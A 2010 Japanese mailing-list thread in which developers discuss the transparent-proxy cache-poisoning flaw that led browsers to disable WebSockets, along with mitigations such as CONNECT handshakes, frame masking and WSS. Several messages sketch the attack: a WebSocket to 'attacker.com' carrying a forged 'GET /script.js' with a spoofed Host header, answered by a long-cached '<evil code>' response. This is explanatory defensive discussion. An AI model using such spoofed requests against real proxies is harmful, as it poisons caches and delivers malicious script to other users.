今回の件の問題は、WebSocketのハンドシェイクが終わった後で、
任意のメッセージを送受信できるところに起因しています。
具体的には、ハンドシェイク後にHTTPを偽ったリクエストとレスポンスをWebSocketのフレームデータとして送り、
それにより(実装がチープな)透過型プロキシでは、偽のJavascriptがキャッシュ
されちゃうよ。このプロキシ経由でがアクセスする人に、偽のJavascriptが
埋め込まれちゃうよ。というのがAdamさんがあげたレポートになっています。
なので現行のWebSocketサーバーを使う限り、設定を変更しても、この問題から
は回避できません。HTTPコネクション確立後、任意のメッセージを送信できれば
この攻撃は可能です。
WebSocketは、任意のデータが送受信できるとはいえ、最初にフレームヘッダ
(たとえば76であれば最初に\00がつく)ので、よほどProxyが「へぼい」実装で
ない限り今回の攻撃は問題になりません。一方、FlashやJavaはPureなTCPソケット
データを送受信でき、頭に余計なフレームヘッダがつくこともありませんので、
より今回の攻撃が現実的となります。IETF(hybi)の議論で、「WebSocketで、この問題が発生する確率はFlashやJava
Appletの100分の1ぐらい(うる覚え)でしょ」と言われているのは、この辺りに起因していると、小松は理解しています。
IETFの場では、上記問題を回避するために、"CONNECT"ベースのハンドシェイクとする方向で話が進んでいます。さらにフレームデータにXORをかけるなどよりセキュリティ強化を図ってはという議論と、そこまでやるのはいかがなものかという議論がなされているのかな・・・というのが小松の理解。そんな議論が数ヶ月続き、「いいかげん進もうよ」というのが、今回のブラウザによるデフォルト実装を外すという措置に繋がっているように感じます。
2010年12月11日12:52 tato <ta...@game.gr.jp>:
On 12月11日, 午後6:23, KOMATSU Kensaku <kensaku.koma...@gmail.com> wrote:
> 小松です。
>
> 今回の件の問題は、WebSocketのハンドシェイクが終わった後で、
> 任意のメッセージを送受信できるところに起因しています。
>
> 具体的には、ハンドシェイク後にHTTPを偽ったリクエストとレスポンスをWebSocketのフレームデータとして送り、
> それにより(実装がチープな)透過型プロキシでは、偽のJavascriptがキャッシュ
> されちゃうよ。このプロキシ経由でがアクセスする人に、偽のJavascriptが
> 埋め込まれちゃうよ。というのがAdamさんがあげたレポートになっています。
>
> なので現行のWebSocketサーバーを使う限り、設定を変更しても、この問題から
> は回避できません。HTTPコネクション確立後、任意のメッセージを送信できれば
> この攻撃は可能です。
Adamさんのレポートはちゃんと読めてないんですが、透過型プロキシサーバがキャッシュポイズニングされてしまうという話なのかなぁと思ったので
す。
たとえば、Java Flash WebSocketにかかわらず、なんらかの方法で、
GET /uso.html HTTP/1.1
Host: socketapi.com
というやりとりを、透過プロクシ経由でアタッカーサーバーであるIP 2.2.2.2との間で行うと、透過プロクシは、その/uso.htmlとか/
uso.jsをキャッシュし、IPではなく、Hostベースで転送を行うので、次の人が socketapi.com をリクエストしたときに、キャッ
シュされていたアタッカーサーバーIP 2.2.2.2 のコンテンツがsocketapi.com/uso.htmlとして送られてしまう。
ということかな?と。
もし、そうだとすると、
var ws = new WebSocket("ws://socketapi.com/api/ユーザー名/0");
は、騙せても、
var ws = new WebSocket("ws://202.215.119.36/api/ユーザー名/0");
としてしまえば、アタッカーサーバーIP 2.2.2.2へ送りようがないないのかなぁ?と思ったのですが、違いますか?
ただ、もし、DNSキャッシュポイズニングなら、DNSSECの時代がそろそろ始まるようですので、そっちに期待するということも有るかも?
http://internet.watch.impress.co.jp/docs/special/20101006_398080.html
> WebSocketは、任意のデータが送受信できるとはいえ、最初にフレームヘッダ
> (たとえば76であれば最初に\00がつく)ので、よほどProxyが「へぼい」実装で
> ない限り今回の攻撃は問題になりません。一方、FlashやJavaはPureなTCPソケット
> データを送受信でき、頭に余計なフレームヘッダがつくこともありませんので、
> より今回の攻撃が現実的となります。IETF(hybi)の議論で、「WebSocketで、この問題が発生する確率はFlashやJava
> Appletの100分の1ぐらい(うる覚え)でしょ」と言われているのは、この辺りに起因していると、小松は理解しています。
adambarth.comのレポートも「HTTPホストヘッダなりすまし」のテスト結果を表にしてるのは、JavaとFlashだけなので、うがって
みるとWebSocketは話題性?という気もしないでもないです <成功したぽい^^?
それと、プロクシとかDNS側で解決しないと、すべてのプロトコルにへぼProxy対処療法を要求することになるのだろうか?という気にもさせます
ね。
> IETFの場では、上記問題を回避するために、"CONNECT"ベースのハンドシェイクとする方向で話が進んでいます。さらにフレームデータにXORをかける などよりセキュリティ強化を図ってはという議論と、そこまでやるのはいかがなものかという議論がなされているのかな・・・というのが小松の理解。そんな議論が数 ヶ月続き、「いいかげん進もうよ」というのが、今回のブラウザによるデフォルト実装を外すという措置に繋がっているように感じます。
本当にIETFは文字通り決定力が不足してますね。
でも、まぁ、"CONNECT"ベースでセキュアになるというならそれでも良い気はします。その時には、FlashとJavaは危険なので、プロトコル
ベースで安全なWebSocketを使うという流れになったりして:p
>
> 2010年12月11日12:52 tato <t...@game.gr.jp>:
>
>
>
>
>
>
>
> > 昨日、Firefoxの4 WebSocketsのサポート無効化の告知がありましたが、その関連資料をあげておきます。
>
> > disabling websockets for firefox 4
> > by Christopher Blizzard
> >http://www.0xdeadbeef.com/weblog/2010/12/disabling-websockets-for-fir...
>
> > WebSocketハンドシェイクのUpgreadは弱いのでCONNECT を使ったらどうかという議論
> > [hybi] Experiment comparing Upgrade and CONNECT handshakes
> >http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html
>
> > 透過型プロクシの脅威 (JavaとFlashとWebSocketと透過型プロクシの脅威に関するレポート)
> >http://www.adambarth.com/experimental/websocket.pdf
>
> > 透過型プロクシはHTTPヘッダのHostベースで転送するので危険という話のようなので、もしかすると、キャッシュポイズニングというか、これのこと
> > かなぁ?と思います。
>
> > 透過型プロキシサーバが HTTP の Host ヘッダに依存して接続を行う問題http://jvn.jp/cert/JVNVU435052/index.html
ああ、そうか、もし、そのように透過プロクシに誤解させることができるとしたら、
GET /uso.html HTTP/1.1
Host: socketapi.com
だけじゃないですね。
GET /uso.html HTTP/1.1
Host: google.com
も誤解させることができる出来ることになる?
JavaもFlashも大変だけど、DNSSEC早く普及しないかなぁ。
それはさておき、
そのような、WebSocketフレーム内のHTTPヘッダを誤解するプロクシがあるとして、socketapi.com のJSONフォーマット内に
書かれたHTTPヘッダだと誤解できるのかなぁ、、、
検証するのに良い方法ってあるのかなぁ。
> ただ、もし、DNSキャッシュポイズニングなら、DNSSECの時代がそろそろ始まるようですので、そっちに期待するということも有るかも?http://internet.watch.impress.co.jp/docs/special/20101006_398080.html
多分、以下のような感じだと思います。
へっぽこ透過プロクシは、まず最初にブラウザが以下をコールした時点で
var ws = new WebSocket("ws://attacker.com/");
で、attacker.com とコネクションを張ります。その後、ws.sendでクライアントから
GET /script.js HTTP/1.1
Host: socketapi.com
....
を送信し、attacker.comがそれのレスポンスとして
HTTP/1.1 200 OK
Expires: <1年後>
<evil code>
を返すと、「へっぽこ透過プロキシ」は <evil code>をsocketapi.com/script.jsだと思い込んで
キャッシュしちゃうというのが問題なんじゃないかと(Host:内の名前解決をしないまま、最初に
掴んだセッション中で、attacker.comにリクエストを送信してしまう)
なので、var ws = new WebSocket('ws://socketapi.com/...'); であれば、悪い人はいないでしょうし、
まず問題ないと思います
WebSocketのフレームを前提とすると、かなり際立った前提条件ですが、それでもセキュリティリスクを
低減するところが、標準化のメリットかと思います。このへんが、ベンダ固有のプラグインとの
大きな違いかなと。透過プロキシは、サーバー・クライアント双方とも、その存在を知ることが難しい
ので、今回の件に限らず、ほんと厄介ですよね。。。真面目にサービスやるときは、WSS使うのが
一番かな、と最近真剣に考えていたりします。(サーバー負荷とか、気になってしまいつつも・・・)
P.S. レスポンスがJSONだったら、さすがに大丈夫でしょうね。。。
> というやりとりを、透過プロクシ経由でアタッカーサーバーであるIP 2.2.2.2との間で行うと、透過プロクシは、その/uso.htmlとか/
> uso.jsをキャッシュし、IPではなく、Hostベースで転送を行うので、次の人が socketapi.com をリクエストしたときに、キャッ
> シュされていたアタッカーサーバーIP 2.2.2.2 のコンテンツがsocketapi.com/uso.htmlとして送られてしまう。
>
> ということかな?と。
> もし、そうだとすると、
>
> var ws = new WebSocket("ws://socketapi.com/api/ユーザー名/0");
>
> は、騙せても、
>
> var ws = new WebSocket("ws://202.215.119.36/api/ユーザー名/0");
>
> としてしまえば、アタッカーサーバーIP 2.2.2.2へ送りようがないないのかなぁ?と思ったのですが、違いますか?
2010年12月11日22:29 tato <ta...@game.gr.jp>:
> --
> --
> このメールは次の Google グループの参加者に送られています: socketapi-dev
> このグループにメールで投稿: socket...@googlegroups.com
> このグループから退会する: socketapi-de...@googlegroups.com
> その他のオプションについては、次の URL からグループにアクセスしてくださ
> い。 http://groups.google.com/group/socketapi-dev?hl=ja
> ============================================
> SocketApi Demo & Info
> http://socketapi.com/user/demo/0/index.php
> SocketApi 作業場
> http://202.215.119.36/ws/jq/ref/#/ws/jq/ref/chat/chatf1.htm
>
On 12月11日, 午後11:40, KOMATSU Kensaku <kensaku.koma...@gmail.com> wrote:
> 小松です。
>
> 多分、以下のような感じだと思います。
>
> へっぽこ透過プロクシは、まず最初にブラウザが以下をコールした時点で
> var ws = new WebSocket("ws://attacker.com/");
> で、attacker.com とコネクションを張ります。その後、ws.sendでクライアントから
>
> GET /script.js HTTP/1.1
> Host: socketapi.com
> ....
>
> を送信し、attacker.comがそれのレスポンスとして
>
> HTTP/1.1 200 OK
> Expires: <1年後>
>
> <evil code>
>
> を返すと、「へっぽこ透過プロキシ」は <evil code>をsocketapi.com/script.jsだと思い込んで
> キャッシュしちゃうというのが問題なんじゃないかと(Host:内の名前解決をしないまま、最初に
> 掴んだセッション中で、attacker.comにリクエストを送信してしまう)
> なので、var ws = new WebSocket('ws://socketapi.com/...'); であれば、悪い人はいないでしょうし、
> まず問題ないと思います
socketapi.comは、クライアント側だけでWebSocketを使うというスキームですので、サーバー側から直接HTTP偽装ヘッダを返すこ
とができる悪い人がいるとしたら、私だけ、という事になります^^;
でも、multi-echoは、サーバー経由で全員へ配送できますので、自分で、GETを送って、OKも送り受け取ることで往復っていう、超誤解をする
おんぼろプロクシ、、、なんてあるかなぁ、、、
> WebSocketのフレームを前提とすると、かなり際立った前提条件ですが、それでもセキュリティリスクを
> 低減するところが、標準化のメリットかと思います。このへんが、ベンダ固有のプラグインとの
> 大きな違いかなと。透過プロキシは、サーバー・クライアント双方とも、その存在を知ることが難しい
> ので、今回の件に限らず、ほんと厄介ですよね。。。真面目にサービスやるときは、WSS使うのが
> 一番かな、と最近真剣に考えていたりします。(サーバー負荷とか、気になってしまいつつも・・・)
>
> P.S. レスポンスがJSONだったら、さすがに大丈夫でしょうね。。。
socketapi.comのフォーマットでは、たとえば、
ws.send( JSON.stringify( [["GET /script.js HTTP/1.1"]] ) );
こんなふうにでも書かないと、サーバーに拒否されますから、まぁ、これをHTTPヘッダだと勘違いするのは難しいですよね。
いっそ、WebSocketのテキストはボディをJSONにしてしまうとか^^;
> > というやりとりを、透過プロクシ経由でアタッカーサーバーであるIP 2.2.2.2との間で行うと、透過プロクシは、その/uso.htmlとか/
> > uso.jsをキャッシュし、IPではなく、Hostベースで転送を行うので、次の人が socketapi.com をリクエストしたときに、キャッ
> > シュされていたアタッカーサーバーIP 2.2.2.2 のコンテンツがsocketapi.com/uso.htmlとして送られてしまう。
>
> > ということかな?と。
> > もし、そうだとすると、
>
> > var ws = new WebSocket("ws://socketapi.com/api/ユーザー名/0");
>
> > は、騙せても、
>
> > var ws = new WebSocket("ws://202.215.119.36/api/ユーザー名/0");
>
> > としてしまえば、アタッカーサーバーIP 2.2.2.2へ送りようがないないのかなぁ?と思ったのですが、違いますか?
>
> 2010年12月11日22:29 tato <t...@game.gr.jp>:
> >> > > いではないです、、、)...
>
> もっと読む ≫